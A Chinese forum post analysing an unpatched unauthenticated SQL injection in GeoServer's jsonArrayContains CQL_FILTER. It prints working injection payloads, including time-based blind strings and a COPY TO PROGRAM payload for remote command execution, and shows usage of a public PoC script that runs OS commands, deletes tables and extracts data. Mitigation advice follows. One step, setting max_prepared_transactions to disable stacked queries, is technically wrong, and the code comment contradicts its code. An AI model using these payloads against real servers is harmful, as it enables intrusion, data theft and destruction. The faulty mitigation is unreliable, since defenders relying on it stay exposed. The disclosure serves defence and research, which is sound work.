找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4322

积分

0

好友

560

主题
发表于 1 小时前 | 查看: 4| 回复: 0

导语:又一个重量级 0day 曝光。安全研究人员“秋风”(@q1uf3ng)近日公开了 GeoServer 中 jsonArrayContains 函数的未授权 SQL注入 漏洞。攻击者无需任何认证,即可利用该漏洞注入恶意 SQL。在数据库为 PostgreSQL 且拥有 sa 权限的情况下,可直接实现远程代码执行(RCE)。目前已公布 Python PoC。


一、漏洞概述

本次披露的漏洞位于 GeoServer 的 WFS(Web Feature Service)接口中,具体出在 jsonArrayContains 函数的 CQL_FILTER 参数处理逻辑。

漏洞发现者“秋风”称,这是一个“0day”——官方发布前就被公开披露。它的特殊之处在于:

  • 无需认证:攻击者无需任何凭据即可触发漏洞
  • 攻击链清晰:SQL注入 → PostgreSQL RCE
  • 影响面广:GeoServer 是开源 GIS(地理信息系统)平台,被全球众多组织和政府机构使用

二、漏洞原理

2.1 根本原因

漏洞核心出在 GeoTools 的 FilterToSqlHelper.constructEquality 方法。该方法在处理 jsonArrayContains 函数时,将 expected 参数值直接写入 SQL 字符串,而仅对 JSON pointer 做了转义

jsonb_path_exists("data"::jsonb, '$ ? (@.a == "<VALUE>")')

其中 <VALUE> 就是 expected 参数的值。如果攻击者在 <VALUE> 中插入单引号,就能突破字符串字面量限制:

<VALUE> = x') AND (SELECT * FROM (SELECT pg_sleep(4)) a) IS NOT NULL -- 

最终拼接出的恶意 SQL:

jsonb_path_exists("data"::jsonb, '$ ? (@.a == "x') AND (SELECT * FROM (SELECT pg_sleep(4)) a) IS NOT NULL -- ")')

单引号提前封闭字符串字面量,后面的 SQL 代码得以执行。

2.2 请求示例

正常的 WFS GetFeature 请求:

http://target:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=jsonArrayContains("data",'/a','value')=true

恶意构造的注入请求,通过 CQL_FILTER 参数注入 SQL:

CQL_FILTER=jsonArrayContains("data",'/a','x'); SELECT pg_sleep(4) -- ')=true

2.3 影响条件

该漏洞的利用效果取决于后端数据库类型和权限配置:

数据库 利用条件 后果
PostgreSQL(sa权限) 启用堆叠查询(stacked queries) 直接 RCE,通过 COPY TO PROGRAM 执行系统命令
PostgreSQL(普通用户) 启用堆叠查询 SQL注入(blind),可执行任意 SQL
PostgreSQL(任意用户) 禁用预编译语句 盲注数据提取(时间盲注),无需 sa 权限
其他数据库 未测试 可能存在注入但无法 RCE

三、PoC 分析

安全研究人员 portbuster1337 根据“秋风”公布的漏洞信息,开发了完整的 Python PoC 脚本,支持三种攻击模式。

3.1 工具参数说明

python3 jsonarraycontains_rce.py -i <目标IP> -p <端口> [选项]

必选参数(三选一):
  -c CMD    OS命令RCE(需要sa权限 + pg_execute_server_program)
  -s "SQL"  执行任意SQL(blind,需要堆叠查询)
  -x [TABLE] 盲注提取数据(即使禁用预编译语句也能用,无需sa权限)

可选参数:
  -t TYPENAME   WFS图层类型名(默认:vulhub:example)
  -r PROPERTY   json/jsonb列名(默认:data)
  -l LIMIT      -x模式最多提取行数(默认:3)

3.2 模式一:命令执行(RCE)

当 PostgreSQL 具有 sa 权限且启用堆叠查询时,可直接执行系统命令:

python3 jsonarraycontains_rce.py -i 192.168.1.100 -p 8080 -c "id > /tmp/o.txt"

注入的 SQL:

inject = "x') ; COPY (SELECT 1) TO PROGRAM 'id > /tmp/o.txt' -- "

3.3 模式二:SQL注入(blind)

执行任意 SQL 语句(INSERT/UPDATE/DELETE/DROP 等):

python3 jsonarraycontains_rce.py -i 192.168.1.100 -p 8080 -s "DELETE FROM admin"

3.4 模式三:盲注数据提取

即使禁用预编译语句,仍可通过时间延迟做数据提取:

# 提取数据库名和所有表名
python3 jsonarraycontains_rce.py -i 192.168.1.100 -p 8080 -x

# 提取指定表的列名和数据
python3 jsonarraycontains_rce.py -i 192.168.1.100 -p 8080 -x users -l 10

盲注原理:利用 pg_sleep() 结合二分查找,逐一猜测字符。

# 时间延迟验证条件是否为真
inject = "x') AND (SELECT * FROM (SELECT pg_sleep(CASE WHEN <条件> THEN 4 ELSE 0 END)) a) IS NOT NULL -- "

# 二分查找字符
cond = "ascii(substr((<表达式>),%d,1)) > %d" % (pos, mid)

3.5 核心代码片段

def build_cql(prop, inject):
# 仅对属性名转义,expected值直接拼接——漏洞根源
return 'jsonArrayContains("%s", \'/a\', \'%s\') = true' % (prop, cql_quote(inject))

def build_url(host, port, typename, cql):
    params = {
        "service": "wfs",
        "version": "1.0.0",
        "request": "GetFeature",
        "typeName": typename,
        "CQL_FILTER": cql,
    }
    return "http://%s:%s/geoserver/ows?%s" % (host, port, urllib.parse.urlencode(params))

四、漏洞时间线

时间 事件
2026-08-12 安全研究人员“秋风”在 Twitter 上公开披露该 0day
2026-08-12 portbuster1337 根据漏洞原理发布 Python PoC
2026-08-13 安全社区开始广泛讨论和验证
截至发稿 GeoServer 官方尚未发布官方安全公告和修复补丁

五、影响范围

GeoServer 是开源 GIS 服务器,被广泛应用于:

  • 政府地理信息系统
  • 智慧城市平台
  • 土地利用规划系统
  • 自然资源管理
  • 军事/国防地理信息

截至目前,GeoServer 官方尚未发布该漏洞的 CVE 编号和修复版本。考虑到该漏洞已被公开披露且 PoC 已发布,预计官方将在近期发布安全公告。


六、修复与缓解

官方修复:等待 GeoServer 官方发布安全更新,建议关注官方安全公告。

临时缓解措施

  1. 网络层隔离:限制 GeoServer 的公网暴露,仅允许受信任的 IP 访问
  2. WFS接口限制:在 Web 应用防火墙(WAF)或 API 网关上对 CQL_FILTER 参数进行严格过滤
  3. 数据库权限最小化:避免将 PostgreSQL 配置为 sa 权限运行 GeoServer 数据存储
  4. 禁用堆叠查询:在 PostgreSQL 中设置 max_prepared_transactions=0,但这可能影响应用功能
  5. 日志监控:重点关注包含单引号和 SQL 关键字的异常 WFS 请求

检测建议

# 检查GeoServer版本
curl http://target:8080/geoserver/rest/about/version.json

# 检查WFS接口是否可访问
curl "http://target:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetCapabilities"

七、总结

本次“秋风”公开的 GeoServer jsonArrayContains SQL注入 0day,再次提醒我们:

  1. CQL_FILTER 不可信:用户输入的 CQL_FILTER 参数必须经过严格的输入验证
  2. 参数化查询的盲区:即使使用了参数化查询,如果参数直接拼接到字符串字面量中(如 JSON path),仍可能产生注入
  3. 数据库权限最小化:避免以 sa 权限运行应用数据库,将权限控制在最低需求

该漏洞的 PoC 已公开,建议使用 GeoServer 的组织尽快评估风险并采取缓解措施,同时密切关注官方安全更新。

版权声明:本文由华盟网原创发布,保留所有权利。




上一篇:Claude水印上线一周,去水印工具泛滥,有效还是自嗨?
下一篇:Linux内核qdisc竞态条件漏洞CVE-2026-68138本地提权POC分析
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-8-17 04:40 , Processed in 0.867897 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表